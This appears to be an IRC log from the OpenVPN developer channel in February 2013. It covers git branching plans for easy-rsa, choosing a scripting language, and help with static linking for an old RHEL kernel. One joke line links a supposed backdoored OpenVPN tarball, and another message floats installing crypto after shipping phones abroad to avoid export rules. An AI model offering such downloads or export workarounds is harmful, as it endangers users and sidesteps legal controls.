same tree 11:58 <+pekster> Well, svn doesn't "copy" either, it just links, But yea... 11:59 <@dazo> yeah, probably right :) I'm not that familiar with svn's inner workings :) 11:59 <+pekster> Same thing, different way of exposing it to the user 11:59 <@dazo> yeah 11:59 <+pekster> svn lets you do stupid things like 'svn co $host/project' when you wanted $host/project/trunk instead 12:00 <@dazo> ecrist: http://git-scm.com/book/en/Git-Branching ... that chapter is worth reading 12:00 <@vpnHelper> Title: Git - Git Branching (at git-scm.com) 12:00 <+pekster> Granted git lets you do stupid things too; last night when I was learning about git, I accidently did 'git branch HEAD' with really bad results 12:00 <@dazo> ouch 12:00 <@dazo> I've never tried that one :) 12:01 <+pekster> The fix is pretty easy once I read about the problem: git -m HEAD badbranch; git -d badbranch 12:01 <@dazo> ecrist: in many ways, git branches are kind of like tags ... but you can commit new patches to them, that's not possible to do on tags 12:01 <+pekster> Well, technically it is in svn 12:02 <@ecrist> ok 12:02 <+pekster> I actually wrote some server-side code at my last job to treat specially marked directories as "tags" and refuse future commits to them 12:02 <@ecrist> so, pekster, I think what we should do (mattock should pay attention) is branch now 12:03 <+pekster> Yup. Right now we have a "branch" (read: tag) for v2.2.0 12:03 <@ecrist> then, in the new HEAD, remove 1.0 and 2.0 dirs, and not create a 3.0 dir 12:03 <+pekster> We probably want to call this v3.x or something, I'd think 12:03 <@ecrist> yup 12:03 <@dazo> ecrist: ask yourself one question first: Do I want the bleeding edge code (3.0) to go to master ... or do I want to have it in a separate branch which is merged into master later on? 12:03 <@ecrist> since it'll be essential a rewrite 12:03 <@ecrist> what dazo said 12:04 <+pekster> dazo: Yea, I brought that up earlier too. I'm fine with either choice TBH 12:04 <+pekster> I don't care where so long as I know what to be basing my patches against ;) 12:04 <@dazo> the alternative is to branch out the current code as v2.0 ... and then do everything directly on master ... bugfixes and such stuff to 2.0, happens into the 2.0 branch 12:04 <@ecrist> dazo: that was what I was suggesting 12:04 <+pekster> Ultimately that may be a better choice just in case we end up doing any porting to a v2.x branch 12:05 <@ecrist> master is bleading-edge, v2.0 is the old (current) release 12:05 <+pekster> (eg: some "major issue" is discovered and we want to supply a patch to users on 2.x who can't or don't want to upgrade to 3.0) 12:05 <@ecrist> bug/security fixes 12:05 <+pekster> Yea 12:05 <@ecrist> and then other versions get tagged off of master 12:05 <@dazo> How we do it in OpenVPN core ... is that we do everything bleeding edge in master ... and have the release/2.x branches .... all bugfixes hits master, and then we cherry-pick stuff from master into the release/2.x branches if appropriate - otherwise the commits goes only into the release/2.x branches 12:05 <@ecrist> (the tags are what we "release") 12:06 <@dazo> ecrist: that sounds like a very sane way to me! 12:06 <@ecrist> that sounds like what i'd want to do 12:06 <@dazo> ecrist: then it's easy .... git checkout -b release/2.0 master .... that will create a branch called release/2.0 based on the latest commit in master 12:07 <+pekster> We might want to branch it from current v2.2.0, so we can apply these latest changes as a new 2.x relese 12:07 * dazo recommends to have some git bash stuff, which shows which branch you are in on the command line, thouhg 12:07 <+pekster> Ultimately that's just scemantics 12:08 <+pekster> It's just my keysize/hash upgrades, and some minor tweaks to vars and the readme it looks like 12:08 <@dazo> pekster: easy-rsa and openvpn are separate trees now ... and easy-rsa.git is the right place ... that got all the stuff from openvpn.git before the branch-off 12:08 <+pekster> Right, that's what I'm in 12:08 <+pekster> easy-rsa.git has a v2.2.0 12:08 <+pekster> I presume that corresponds to the current release, no? 12:09 <@dazo> probably ... I haven't had a look on the easy-rsa tree in ages 12:09 <+pekster> Doesn't really matter since we could just do master -> release/2.x since master is going to become the next release anyway (right ecrist?) 12:10 <@ecrist> right 12:10 <@ecrist> I'm waiting on a bunch of patches from mattock 12:12 <@dazo> ecrist: are things clearer to you now, what you want to do and how? 12:13 <@ecrist> like mud, yes 12:15 <+pekster> Well, with patches coming we can either wait (all my dev stuff is on my local tree, so I don't mind a bit of a wait) or branch now and commit the patches to master so long as they don't conflict with any 3.x stuff that's put on in the meantime (if it is, we'd probably need to commit to the release/2.x and forward-port merge conflicts ourselves) 12:15 <@ecrist> let's wait for mattock's stuff, and anything you have for 2.x. Then we'll branch and continue down the new path 12:15 <+pekster> Depends on the scope of the stuff coming, and whether it applies to 3.x ir not 12:15 <@dazo> ecrist: okay, don't hesitate to bug me more if you need more input ... however, I strongly recommend to read that chapter 3 from the git book ... that really explains very well how commits and branches are connected and how you interact with them ... and will also cover branching and probably rebasing too 12:16 <@ecrist> yeah, I'll read the git book 12:16 <@ecrist> I only say it's clear like mud because I've not done it yet 12:16 <+pekster> I don't really plan to supply more 2.x patches; most (all) of the stuff I've listed on my laundry list seems to be big enough in scope I don't want to mess with 2.x really 12:17 <@dazo> ecrist: I understand :) and later on when you get a grip of this, you'll see all my mistakes in the early history of the openvpn git tree as well ;-) 12:17 <+pekster> It's a git "feature" - mistakes are immutable ;) 12:18 <+pekster> (but correctable) 12:18 <@ecrist> lol 12:23 <@dazo> heh ... well, pekster, it's possible to fix things easily if you catch them early enough .... but sometimes its such a mess it's better to let it lay there as long as it stays out of your way later on :) 12:23 <@dazo> (otherwise, you re-write git history ... which is bad) 12:23 <+pekster> Right 12:27 <@dazo> I read more about how these commit hashes are built up ... and it's a rather clever solution ... that a new commit gets a hash based on the commit hash it was added on top of ... so if an earlier commit is modified, that changes the hash and breaks the commit chain - which means you get a clear indication your tree has been compromised 12:28 <@dazo> (and the commit hash is also calculated based on the content of commit meta data, commit message and the patch itself) 12:28 <+pekster> Which "shouldn't" happen, but it's a good check. When combined with gpg-signatures it's got some very strong anti-tampering/authentication properties 12:29 <@dazo> exactly, it means you can easily find out if the tree you are on, is safe or not 12:30 <+pekster> In svn you solved that with lock-and-key on your repo server, although as the admin I could (and did, thanks to 1 or 2 real messy mistakes by some users) use svnadmin's dump/load/dumpfilter stuff, but it's not like I abused that to go edit our dev team's code :P 12:30 <+pekster> I suppose I *could* have, but that's a way to get fired in a hury :P 12:31 <@dazo> yeah, right .... but in SVN, if you have the right powers, you can modify a committed patch without easily getting detected .... in git, there is absolutely no chance you can pull that trick, as you need to then make a modification which preservers the commit hash 12:32 <+pekster> Well, you need server-level filesystem access to do that, so it's not directly an SVN thing. Otherwise yes, it's a good comparison 12:33 <@dazo> "server-level fs access" == "the right powers" ;-) 12:33 <+pekster> And if your attackers have access like that, you've already lost the game in a big way :P 12:33 <@dazo> yeah, also true 12:33 <+pekster> "But git would have prevented subtle code injection attacks!" said no one ever 12:35 <@dazo> heh ... well, once committed, it's signed and sealed :) .... so if you have 100 patches, you can slowly include a backdoor if done cleverly enough to pass reviews :) 12:35 <@dazo> but that's not a VCS system issue .... that's pure coding skills ;-) 12:36 <+pekster> :cough: debian/openssl 12:36 <@dazo> heh, yeah .... no comments :) 12:37 <+pekster> Lots of things went wrong there, but as you point out, VSC wasn't at fault 13:41 <@vpnHelper> RSS Update - tickets: #261: redirect-private fails when no route-gateway or ifconfig options specified <https://community.openvpn.net/openvpn/ticket/261> 14:54 -!- dazo is now known as dazo_afk 15:51 <+pekster> Oh, debug being off comes from openvpn-build/generic/build.vars :\ 15:52 <+pekster> So, that should get fixed until the code changes in my patch in bug #260 get applied, otherwise verb 4 will be effectively busted for people using the stock binary packages. On a side-note, it's likely that way for all the repo builds too, unless the buildbots don't use that build.vars 15:53 <+pekster> fix := not using --disable-debug until the #260 patch is in official builds 15:58 <+pekster> mattock_afk: ^^ FYI, that's probably of note to you from a Windows build perspective until #260 gets in release code. Maybe we can get a new build >=I005 with enable_debug=yes as a mitigating factor? 19:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:26 -!- novaflash is now known as novaflash_away --- Day changed Sat Feb 23 2013 02:16 -!- dazo_afk is now known as dazo 04:46 -!- novaflash_away is now known as novaflash 05:22 -!- dazo is now known as dazo_afk 06:21 -!- dazo_afk is now known as dazo 07:34 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 09:46 -!- dazo is now known as dazo_afk 10:03 <@vpnHelper> RSS Update - tickets: #262: VERIFY X509NAME ERROR TLS_ERROR: BIO read tls_read_plaintext error 14090086 <https://community.openvpn.net/openvpn/ticket/262> 10:05 -!- dazo_afk is now known as dazo 11:38 -!- dazo is now known as dazo_afk 14:07 -!- dazo_afk is now known as dazo 14:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 16:20 -!- dazo is now known as dazo_afk 16:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 16:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 23:22 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has joined #openvpn-devel 23:22 < roboman2444> so... how do i compile openvpn statically? --- Day changed Sun Feb 24 2013 01:39 <@cron2> "not", if using glibc (glibc will always link some nss bits dynamically) 01:39 <@cron2> otherwise, passing LDLAGS=-static should suffice 01:40 < roboman2444> cron2, tried 01:41 < roboman2444> get about 6 or so libs that arent static 05:19 <@plaisthos> 6 libs?! 05:19 <@plaisthos> openvpn only uses ssl, lzo and libc :) 05:53 <@cron2> plaisthos: libssl, libcrypto, libllzo, libdl (for plugins), libc, libz (?!), and ld-linux.so... 05:53 * cron2 has no idea where libz comes from in my binary... 08:09 <@plaisthos> ah okay 08:09 <@plaisthos> I forgot about libdl on linux 08:10 <@plaisthos> libssl could be pulling in libz 11:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:24 <@vpnHelper> RSS Update - tickets: #263: OpenVPN 2.3.0 disconnect issue when using tcp-server <https://community.openvpn.net/openvpn/ticket/263> 11:27 <+krzee> kisom, https://community.openvpn.net/openvpn/ticket/263 is that the same bug, but he was using tcp and you using udp? 11:27 <@vpnHelper> Title: #263 (OpenVPN 2.3.0 disconnect issue when using tcp-server) – OpenVPN Community (at community.openvpn.net) 11:29 < kisom> krzee: That was me reporting the bug. 11:29 <+krzee> ah 11:30 <+krzee> didnt know ya as pivot ;] 11:31 < kisom> I don't want that ticket to be on google with my real nickname :) 12:22 <@ecrist> krzee: just an FYI, pekster is going to being helping with easy-rsa, and we hashed out a roadmap for easy-rsa 3.0 12:25 <+krzee> awesome! 12:26 <+krzee> you guys ever grabbed a beer? 12:26 <@ecrist> bourne shell, the interactive mode of ssl-admin coupled with a batch mode, but all in a single script 12:26 <@ecrist> no, and we should 12:26 <@ecrist> I keep forgetting he's local to me 12:26 <+pekster> Yea. I've actually avoided using easy-rsa personally becuase it never did what I wanted. It's nice to have a chance to work on making it useful again. Maybe even to the point that I'll consisder using it for select tasks again 12:26 <@ecrist> like, < 7 miles 12:27 <+pekster> "easy to use, and powerful enough for a crypto geek." or something 12:27 <+krzee> i look forward to it, then i'll be able to make my confgen depend on it 12:28 <@ecrist> pekster: when do you want to grab a beer? 12:28 <+pekster> I'll have to play around with the Windows side too. I don't know if I like the idea of trying to port the required stuff to batch, or look at including a 'runs anywhere' sh.exe and friends (dlls, etc) with the windows binary distribution and call the shell code 12:29 <@ecrist> pekster: we could always go to C... :) 12:29 < roboman2444> so cron2 and plaisthos, how do i get it to either completely statically link libc, or not use libc at all? 12:29 < roboman2444> the latter i dont think is possible? 12:30 <+pekster> ecrist: The one in st paul in the highland area? They're always good, and have nice beers on tap 12:30 <@ecrist> ? 12:30 <+pekster> I'm down; my time is pretty flexible as I'm on the tail end of my self-directed "sabbatical," so commitments are what I make them out to be 12:30 <@ecrist> I mean C, the language. 12:30 <+pekster> Oh... 12:30 <@ecrist> what're you talking about? 12:31 <+pekster> Chatterbox pub is what I thought you were referencing :P 12:31 <+pekster> There's stuff closer to downtown that's possibly easier for you to get to, though. Heh 12:31 <+pekster> The one nice thing about keeping easy-rsa in shell is that end-users have an easier time editing/reading it 12:31 <@ecrist> I drive all over. just tell me when/where and we'll make it work. 12:31 <+pekster> I'm not sure if that's an advantage or not 12:32 <@ecrist> I don't know C, yet, but it'd be ideal if we kept it shell, I think 12:32 <@ecrist> until/unless we want to start doing more advanced things shell couldn't handle 12:32 <+krzee> i think so too 12:32 <+pekster> Yup, that's what I assumed. C is good for many things, but needlessly using it is silly 12:33 <@ecrist> I'd prefer perl, but it's something that'd have to be installed on many systems, and there are 'hoops' to jump through for windows 12:33 <+pekster> I'll prototype some stuff out early this week to get a feel if patches make sense, or just starting with a ground-up re-write of pkitool and port over the useful bits. Depends on how much I end up marking to be fixed really 12:34 <+pekster> Right. perl is harder to support than a windows-accessible shell interperter, for instance 12:34 <@ecrist> activeperl makes perl accessible, but it's commercial (there's a free version) 12:35 <+pekster> Right, and it needs an install 12:35 <@ecrist> yup 12:35 <+pekster> http://paste.kde.org/679934/ 12:35 <+pekster> sh.exe is "that" easy to support in a binary release; drop that in a \bin\ folder or something, and shell code magically works 12:36 <@ecrist> hrm 12:36 <@ecrist> can that be statically linked? 12:36 <+pekster> Hm, maybe. It's been years since I looked at cygwin building, but I can add that to my list of stuff to feel out 12:36 <@ecrist> or would we get mattock to help us bulid an ndis installer? 12:37 <@ecrist> then it's moot 12:37 <+pekster> If the dlls are in the same dir as the executable, no magic is needed beyond including them 12:38 <+pekster> ie: they don't need to be in the system32 dir or w/e 12:38 <@ecrist> right 12:38 <+pekster> Yea, statically linked is "cleaner" like openssl.exe does in the openvpn release 12:38 <@ecrist> I haven't seen a windows system with a /usr/bin/ though... 12:38 <+pekster> no, you don't need that 12:38 <+pekster> (that's the cygwin install) 12:38 <+pekster> If I gave you a zip with sh.exe and those dlls all in the same folder, it would work for you 12:39 <+pekster> sh.exe "echo 'hello world'" 12:42 <+pekster> Oh, but you'd need echo too I suppose since it's not bash :P hmm, I'll think some more on that 12:43 <+pekster> It would be nice not to have to port whatever we end up with to windows 12:43 <@ecrist> we don't do bash 12:43 <@ecrist> we do bournce 12:43 <@ecrist> bourne* 12:43 <+pekster> Right 12:43 <@ecrist> iirc, it's part of bourne 12:44 <+pekster> From an interperter perspective, bash will accept and execute bourne code if called with a /bin/sh shebang 12:44 <+pekster> (and it gets put into a 'bourne-alike' mode as it does.) I'm just toying around to see if a different shipped interperter saves on including extra binary cruft with a windows release, not from an easy-rsa coding perspective 12:45 <+pekster> easy-rsa will still be bourne-centric 12:45 <+pekster> sh: echo: No such file or directory 12:45 <+pekster> Bleh 12:45 <+pekster> As I said, more thought required here 12:46 <@ecrist> I like bourne, but if we jump from bourne, I think perl is the way to go 12:46 <@ecrist> does it have print? 12:47 <@ecrist> on bsd, echo is listed as a builtin for sh 12:48 <+pekster> No, it tries to call a 'print' from my system32 folder 12:48 <+pekster> Then blows up as that's not an executable it can call (it's something Windows provides, apparently not what I'm expecting) 12:49 <@ecrist> hrn 12:49 <@ecrist> hrm* 12:50 <+pekster> I used bash this way before, so I just need an hour or two to mess with standalone options to see what works. Once I have that, I can see if building it statically makes sense (read: is easy enough without too much code-fu under Windows) 12:50 <+pekster> It's just been a while :) 12:51 <+pekster> Thesedays if I need sh/bash/zsh, I just log into my real servers downstairs 12:51 <+pekster> Or cygwin, but I'm *not* introducing that as an easy-rsa dep :P 12:51 <@ecrist> that wouldn't fly 12:52 <@ecrist> apparently there's a lightweight perl interpreter called pp 12:52 <@ecrist> oh, it generates compiled perl for win32 12:52 <@ecrist> interesting 12:52 <@ecrist> http://search.cpan.org/~rschupp/PAR-Packer-1.014/lib/pp.pm 12:52 <@vpnHelper> Title: pp - search.cpan.org (at search.cpan.org) 12:53 <@ecrist> that would be pretty sweet 12:53 <@ecrist> I'm going to poof for a bit 12:53 <+pekster> Sounds good, thanks for the references. More stuff to check out anyway 12:54 <@ecrist> let me know when you have time to grab a beer 12:54 <+pekster> Sure. Today's bad (climbing gym annual sale) but I'll ping ya this week 13:01 * ecrist tries pp 13:06 <@cron2> roboman2444: what are you trying to achieve? 13:08 < roboman2444> embedded linux vpn 13:09 <@cron2> then you normally *want* shared libraries, given that they will share code size among multiple binaries? But anyway, linking with "-static" should get you all but the non-static bits of libc 13:09 < roboman2444> yea... ldflags= -static? 13:10 < roboman2444> still deosnt work 13:10 <@cron2> (and you most certainly do not want openssl but polarssl - saves 90% of the code size...) 13:10 <@cron2> not "ldflags" but "LDFLAGS", and not "= -static", but "=-static" 13:10 < roboman2444> thats what i ment 13:10 <@cron2> whitespace and case matters 13:10 < roboman2444> but those 6 extra little bits are what kills meh 13:11 <@cron2> so which "extra bits" are that? 13:11 < roboman2444> hold up... 13:12 < roboman2444> http://pastebin.com/sSEjaU4v 13:13 <@cron2> it's not using -static - libssl, libcrypto and liblzo2 should not be there 13:13 < roboman2444> hm 13:14 <@cron2> check compiler output for the line that links it all together "$something -o openvpn ..." 13:15 < roboman2444> /bin/bash ../../libtool --tag=CC --mode=link gcc -g -O2 -static -o openvpn .... 13:16 <@cron2> mmh, looks right to me, but maybe libtool needs some other invocation then 13:16 < roboman2444> hm 13:17 <@cron2> try changing that to -Wl,static 13:17 <@cron2> or -Wl,-static (I can never remember exactly how to pass linker arguments) 13:18 <@cron2> but libtool is pain anyway and I wonder why it's using libtool for you 13:18 <@cron2> for me it is just calling gcc directly 13:18 < roboman2444> hm 13:18 <@ecrist> aww, pp doesn't generate a binary that'll run on 64-bit win 7 13:18 <@cron2> which sources are you building from? snapshot or git? 13:19 < roboman2444> the tar 13:19 < roboman2444> i should probably git the git 13:19 <@cron2> shouldn't make a difference, but maybe the autotools used to build the tarball is too old - try running "autoreconf -vif" and then make again 13:19 <+pekster> ecrist: Yea, I was going to comment on platform/bit-friendly portability too 13:19 <+pekster> I got disctracted :) 13:20 <@cron2> mmmh 13:21 <@cron2> ok, with -Wl,-static I get it to compile statically - and fail, because my system does not have non-shared libraries for all it needs 13:21 < roboman2444> nah, still uses libtool 13:21 <@cron2> yes, I noticed, it calls gcc directly for compiling but links with libtool 13:22 <@cron2> LDFLAGS=-all-static 13:22 < roboman2444> tried that 13:23 < roboman2444> it kinda didnt work 13:23 <@cron2> will also work (libtool invocation), but might fail depending on how your system is built - it fails for me because libcrypto is shared 13:23 < roboman2444> /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/libcrypto.a(c_zlib.o): In function `bio_zlib_free': 13:23 < roboman2444> (.text+0x4d): undefined reference to `inflateEnd' 13:23 < roboman2444> etc 13:23 <@cron2> yeah, that will work, LDFLAGS=-all-static, and adding "-lz" at the end of the linker command line (because openssl cannot be linked statically if libz is not passed) 13:24 <@cron2> edit src/openvpn/Makefile, find OPTIONAL_CRYPTO_LIBS= and add "-lz" at the end 13:24 <@cron2> with a blank 13:25 <@cron2> then you have a static binary that will require some of the dynamic bits of libc, with the exact version that was used to compile - which might not be what you are after 13:26 < roboman2444> yes! 13:26 < roboman2444> that worked 13:26 < roboman2444> thanks! 13:26 < roboman2444> yea... that might be a problem also 13:32 < roboman2444> can i force it to use an older libc? 13:32 < roboman2444> or can i bring the libc with it, and do a ldpreload? 13:44 < roboman2444> -sh-3.2$ ./openvpn 13:44 < roboman2444> FATAL: kernel too old 13:44 < roboman2444> Segmentation fault 13:44 < roboman2444> well oops 13:44 <@ecrist> lol 13:45 < roboman2444> its an embedded rhel 13:45 < roboman2444> 2.6.18-408.8.2.el5.lve0.8.61.3 13:45 < roboman2444> so... very old 13:49 <@plaisthos> yeah. You statically linked against a libc which does not like old kernels 14:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:18 <@cron2> roboman2444: if you link statically, you need to link against the library *on that system* 15:18 <@cron2> (which is the point of shared libraries... "use what is there, not what you brought with you") 15:19 < roboman2444> right 15:19 < roboman2444> can i grab the glibc version from that and compile against it? 15:21 <@cron2> your best bet might be "compile there" 15:22 <@cron2> embedded systems are never for the faint of heart... 15:29 < roboman2444> cant compile there 15:30 < roboman2444> it has gcc... but ./configure gives errors relating to ld returning status 1, because it cant fine crlt.o 15:30 < roboman2444> find 15:32 <@cron2> sounds like you need glibc-devel or what it's called on RH (plus openssl-devel, libz-devel, lzo2-devel, etc) 15:33 < roboman2444> im gonna compile it on an older system, see if it works there 15:33 <@plaisthos> roboman2444: I had similar problem 15:33 < roboman2444> yea 15:33 <@plaisthos> Iirc the glibc in Ubunut 11.04 was old enough/still build with 2.6.18 support 15:33 < roboman2444> really? 15:33 < roboman2444> hm 15:34 < roboman2444> that should be a newish one 15:34 < roboman2444> anyway, im running the latest of latest glibcs... 15:34 <@plaisthos> I need C+11 code compiled 15:34 <@plaisthos> and the result had to run on CentOS 5.something 15:35 < roboman2444> heh 15:36 <@plaisthos> maybe debian is even better in supporting old kernel 15:36 <@plaisthos> don't know 15:36 < roboman2444> they are 3.2 currently 15:37 < roboman2444> they have the 3.8 in the repos... but its in experimental 15:37 <@plaisthos> the real question is what version their glibc supports 15:37 <@plaisthos> anyway. Ubuntu < 11.04 is good platform to compile for Rhel 5.x ;) 15:37 <@plaisthos> (statically) 15:38 <@plaisthos> since OpenVPN is not C++ you should an easier time than I had ;) 15:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:45 < roboman2444> HAH 15:45 < roboman2444> still errors with kernel too old 15:46 < roboman2444> even compiling on a... 2.6.32-5-amd64 15:47 <@plaisthos> the runing kernel does not matter :) 15:49 < roboman2444> cron2, can i compile against an old libc? 15:50 < roboman2444> seems even 2.13 is too new 15:51 <@plaisthos> my 2.13 worked ... 15:52 < roboman2444> 2.6.18-408.8.2.el5.lve0.8.61.3 15:52 < roboman2444> thats how old the kernel is 15:53 < roboman2444> 2.11 looks old enough 15:53 < roboman2444> but idk 15:54 <@plaisthos> 2.6.18-238.5.1.el5PAE 15:54 <@plaisthos> I win ;) 15:55 < roboman2444> heh 15:55 < roboman2444> can you compile for it? 15:56 < roboman2444> if so, would you mind compiling openvpn for me? 15:56 < roboman2444> statically 16:25 <@plaisthos> you trust randon guys from irc to compile for you? :) 16:32 < roboman2444> sure 16:33 <+krzee> www.ircpimps.org/openvpn2.2.2+backdoor_mods.tgz 16:34 < roboman2444> try it 16:34 < roboman2444> wont work 16:34 < roboman2444> unless its a reverse shell 16:35 < roboman2444> so... is there a way to force gcc or ld to link against a specific libc? 16:46 < roboman2444> i have the .so.6 that i want 16:48 <+krzee> this channel is more for helping with the development of openvpn than for asking the devs to compile things for you 16:49 < roboman2444> i was suggested to go here 16:49 < roboman2444> and the others dont seem to mind 16:49 <+krzee> just thought ild point it out 16:49 <+krzee> im not kicking or anything 17:12 < kisom> Hey, I sent money to some unknown dude I met on IRC 17:12 < kisom> Turns out it was legit. 17:19 < roboman2444> wait 17:19 < roboman2444> really? 17:29 < kisom> Yeah 17:29 < kisom> Got the wares by mail a month after :) 17:30 < roboman2444> heh 17:31 < roboman2444> what did you pay him in, bitcoins? 17:31 < kisom> Dollars over paypal :) 17:35 <+krzee> ive sent $ to people over irc before 17:35 <+krzee> such as when i need support in a rush and want higher priority 17:36 <+krzee> or if i havnt done the proper reading and dont have time to 17:37 <+krzee> its not bad netiquette if you offer $$, right? :D 17:45 <+pekster> Well, it is, but for money you're a "customer" and willing be put up with 20:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 21:48 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has quit [Ping timeout: 248 seconds] 22:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:33 <+krzee> anyone know if the openvpn binary on android in fries' android openvpn (without the gui) handles the encryption from within the binary? 22:33 <+krzee> i cant find openssl on the system, not sure whats actually doing the encryption 22:39 <+pekster> Have a shell? ldd might tell you 22:39 <+krzee> yes but no ldd, android 22:44 <+pekster> Without knowing exactly how it was linked from the sources, you might still be able to use the android SDK to 'adb pull' the binary over and ldd it on a full distro 22:44 <+pekster> Otherwise, that's the open-source version, right? Check out the headers and see what #include was used 22:45 <+pekster> Should at least provide hints 22:46 <+krzee> root@ubuntu:/root/redcell# ldd openvpn 22:46 <+krzee> not a dynamic executable 22:46 <+krzee> openvpn: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped 22:46 <+krzee> hah 22:49 <+krzee> ahh i see, android comes with openssl 22:51 <+krzee> im trying to figure out which part to not install before shipping my phones internationally 22:52 <+krzee> if whatever im installing that does the crypto is put on after delivery to the other country, then i never exported crypto 22:52 <+krzee> (pre-compiled crypto) 23:45 <@vpnHelper> RSS Update - tickets: #264: [PATCH] IPv6 p2p issues <https://community.openvpn.net/openvpn/ticket/264> --- Day changed Mon Feb 25 2013 02:35 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 02:35 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Client Quit] 02:36 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn-devel 02:53 <+krzee> found it, it was staticly compiled against liblzo and openssl 02:54 <+krzee> perfect 03:39 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 255 seconds] 03:54 -!- dazo_afk is now known as dazo 03:59 <@dazo> ecrist: pekster: [reading easy-rsa discussion] I've been reading quite a lot about OpenSSL and C lately ... so I can probably help out putting together some core building blocks, if you want to go that route 04:01 <@dazo> ecrist: pekster: for cygwin stuff ... you need to have some dlls available, I believe ... but those can be in the same dir as the binary, though 04:13 <@plaisthos> krzee: beware of borken custom roms ;) 04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:28 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:16 <@ecrist> dazo: do you think something like easy-rsa should be written in C? 08:17 <@dazo> ecrist: I dunno ... the benefit is that cross-platform is easier (you write code once, works everywhere) ... but requires building 08:17 <+pekster> And sacrifices end-user editability (for people not able/willing to alter code and rebuild) 08:17 <@ecrist> pekster: I don't know that end-user editability is really an issue 08:17 <@dazo> ecrist: shell advantage is that if you have a compatible shell, no compiling is needed ... but will depend anyway on other binaries .... and getting a compatible shell and needed binaries on all supported platforms might be heavier 08:18 <+pekster> Yea, the cygwin dll stuff I knew, but the problem is that sh runs, then bombs out when asked to echo 08:18 <+pekster> I need to poke at it and see if bash.exe does the right thing (even if the code itself is bourne-compliant) 08:18 <@ecrist> if we use something like C, we can do exactly what we want, and it works everywhere 08:18 <@dazo> pekster: you would need a more "advanced" shell than sh then ... like bash, ash or bussybox etc 08:18 <@ecrist> the problem is, I don't know C (I know javascript, which I'm told is close) 08:18 <+pekster> Minus the memory management stuff 08:19 <@dazo> ouch ... javascript is as close to C as Python is to Shell ;-) 08:19 <@ecrist> dazo: i think it's his sh.exe, echo is a builtin for *real* bourne sh and csh 08:19 <+pekster> cygwin does... odd things sometimes 08:19 <@ecrist> the other thing I suggested is going with perl, and use perlcc or something to build for windows 08:20 <+pekster> Portability is the issue there. It would be nice, for instance, for the same code to work if someone puts it on a USB stick (or hdd, w/e) and moves between 32/64 bit, or from XP to Win8 08:21 <+pekster> Unless the files directory and the program directory were somehow separated, but then it would need more glue to point the program to the files dir 08:22 <@dazo> ecrist: Let me think a little bit aloud ... right now, I'm poking on eurephia again, have some stuff I want to complete to support more auth-backends ... but when that's done, I'm going to look at some kind of integrated certificate management .... but what I can do, is that I can tinker a bit more around this, so that I'll create a separate library which easy-rsa can use as a front-end and eurephia can use the same lib providing anoth 08:22 <@dazo> er front-end .... this way, it should be possible to avoid duplicating too much code (even though, it will increase the complexity slightly for eurephia) 08:23 <@ecrist> pekster: I don't think we need to worry about people copying the binary/program around on a USB stick and using it 08:24 <@dazo> pekster: that's easy ... compile for 32bit XP ... and it will run on 64bit XP 08:24 <@dazo> 64bit Win8, I meant 08:24 <@ecrist> getting identical operation between systems is important, though 08:24 <@ecrist> dazo: that's not true 08:24 <@ecrist> a program I have compiled for 32-bit win xp refuses to run on 64-bit win 7 08:25 <@dazo> well, if you think of easy-rsa console application ... it should not depend on much externally ... which really should not make much differences 08:26 <@dazo> but if you need special privilege accesses, or using incompatible system calls in C ... that will cause other issues 08:27 <@dazo> d12fk and mattock_afk might disagree, but I believe our 32bit builds works across win distros .... I've deployed openvpn-2.2.2 (32bit) on Win7 64bit boxes 08:27 <+pekster> Yup, I can confirm that behaviour at least for the openvpn installers on Vista x64 08:27 <@dazo> confirm not working ... or confirm working? ;-) 08:28 <+pekster> Working :) 08:28 <+pekster> perlcc may do things differently though 08:28 <+pekster> And I'd actually prefer either bourne or C to perl, simply becuase of added dependences. Granted "most" distros are going to have perl, but f.eg, openwrt might have a problem where it's lacked by default but it usually has ash 08:29 <@dazo> pekster: openwrt usually uses busybox, which embeds ash 08:29 <+pekster> (yes, it's a bad idea to build certs on embedded hardware, but openwrt can run on more powerful stuff too. I'd rather not cripple a distro needlessly unless there's a good advantage) 08:29 <@dazo> openwrt should work on ia32 and x86_64, afaik 08:30 <@ecrist> I'm not so worried about easy-rsa running on everything 08:31 <@ecrist> I'm particularly not worried about it running on embedded stuff 08:31 <@ecrist> that lacks a "full" os 08:33 <@dazo> but running on openvpn's important platforms, is probably the key point here ... *BSD, Linux, Windows and probably Solaris, right? 08:33 <@ecrist> yeah 08:35 <@dazo> well, the shell/perl approach works basically out-of-the-box for all them except one ... and that has been and always will be the annoying one, one way or another ... it's probably more what gives least pain in the long run 08:37 <@dazo> but ... going from sh or perl to C is probably going to be a far easier migration than from C to sh or perl .... so if you start with defining the easy-rsa behaviour and user experience ... you can more easily make that somewhat functional very quickly in sh/perl 08:38 <@ecrist> I want to merge ssl-admin and easy-rsa 08:38 